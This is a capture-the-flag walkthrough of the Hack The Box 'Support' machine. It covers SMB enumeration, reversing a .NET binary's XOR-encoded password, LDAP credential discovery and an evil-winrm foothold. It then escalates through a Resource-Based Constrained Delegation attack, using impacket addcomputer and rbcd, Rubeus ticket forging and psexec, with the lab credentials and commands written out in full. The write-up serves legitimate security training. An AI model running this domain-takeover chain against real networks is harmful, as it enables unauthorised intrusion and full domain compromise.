Support
A complete walkthrough of the "Support" machine from Hack The Box, detailing the path from anonymous SMB share access and reverse engineering an executable to credential extraction and full system compromise.
Support
Recon
Running a full port nmap stealth scan reveals that this is built like a DC:
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
Enumeration
SMB:
Further enumeration targets are LDAP and SMB. Starting of with SMB, by running NMAP Scripts over it reveals that message signing is enabled and required.
It turns out that we could enumerate a share via smb. I ran an mget *
and started running strings
over the binaries, but the most interesting one is the UserInfo binary, that's for sure!
Reverse Engineering .NET Binary:
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
This is a .NET binary, so I got ILSpy on my KaliBox and started reversing:
wget [https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zip](https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zip)
mkdir ILSpy
mv *.zip ILSpy/
cd ILSpy
unzip *.zip
./ILSpy
Load up the binary and start scavenging. This is what we are looking for:
Reverse Engineering the Encryption Function:
We have the function:
- We have a string variable
enc_password
which is base64. - We have a byte array variable
key
which takes the ASCII string "armando" and turns it into a string of bytes. - We have a function
getPassword()
which uses a double XOR operation to decrypt the password.
Explaining XOR Operation, Logic Gate:
A practical example of why this works is that XOR logic cancels itself out: (A XOR B) XOR B = A.
This is a fairly simple formula to encrypt a password that utilizes the basic XOR gate. XOR is just a boolean logic gate: ((a and Not(b)) or (Not(a) and b))
.
Recap the decryption process:
- We have the base64 string and the key (
armando
). - Convert the base64 string to a byte array.
- For each byte in the array, XOR it with the corresponding byte from the key (cycling through the key).
- XOR the result of the previous operation with the constant value 0xDF.
- Convert the final byte array back to a string to get the original password.
Remember XORing is an associative operation, meaning the order of operations does not matter!
(P ^ K) ^ C = P ^ (K ^ C)
Finding the Username:
Now we've got our password, but what's the username? Of course, I tried armando! It doesn't work. So, I checked the LdapQuery
function, and we've got our answer in the DirectoryEntry constructor: the user is ldap.
Foothold
Running an ldapsearch with the username ldap and the discovered password reveals the plain-text password for the user support.
ldapsearch -x -H ldap://10.10.11.174 -D "support\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" "(sAMAccountName=support)" "*"
Ironside47pleasure40Watchful
. Now, remember WinRM is on. Let's use that to connect.
evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
PrivEsc - RBCD
This is a Resource-Based Constrained Delegation (RBCD) Attack.
Requirements:
Once we are on the box, we see we have SeMachineAccountPrivilege, which allows us to add workstations to the domain.
C:\Users\support\Downloads>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
Launching the attack:
- We will now abuse our SeMachineAccountPrivilege to add a new computer to the domain using impacket-addcomputer.
python3 /usr/share/doc/python3-impacket/examples/addcomputer.py -computer-name 'ATTACKCOMPUTER$' -computer-pass 'AttackPassword123' -dc-ip 10.10.11.174 'support.htb/support:Ironside47pleasure40Watchful'
- Now, let's use our permissions to write an attribute to the DC, allowing delegation from our new computer (ATTACKCOMPUTER$) to the DC.
python3 /usr/share/doc/python3-impacket/examples/rbcd.py -action write -delegate-from 'ATTACKCOMPUTER$' -delegate-to 'DC$' -dc-ip 10.10.11.174 'support.htb/support:Ironside47pleasure40Watchful'
- On the target host, use Rubeus to get the hash for our new computer's password.
.\Rubeus.exe hash /password:AttackPassword123 /user:ATTACKCOMPUTER$ /domain:support.htb
- Use this hash to request a Ticket Granting Ticket (TGT).
.\Rubeus.exe asktgt /user:ATTACKCOMPUTER$ /rc4:753F0A7DFD2413A969F14855C6E5832F /domain:support.htb /dc:dc.support.htb /nowrap
- Now use this TGT to request a Ticket Granting Service (TGS) for the Administrator on the domain controller via S4U.
.\Rubeus.exe s4u /user:ATTACKCOMPUTER$ /rc4:753F0A7DFD2413A969F14855C6E5832F /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /dc:dc.support.htb /ptt
- The previous command injects the ticket. Now we can access the domain controller as Administrator using impacket-psexec.
impacket-psexec -k -no-pass support.htb/[email protected]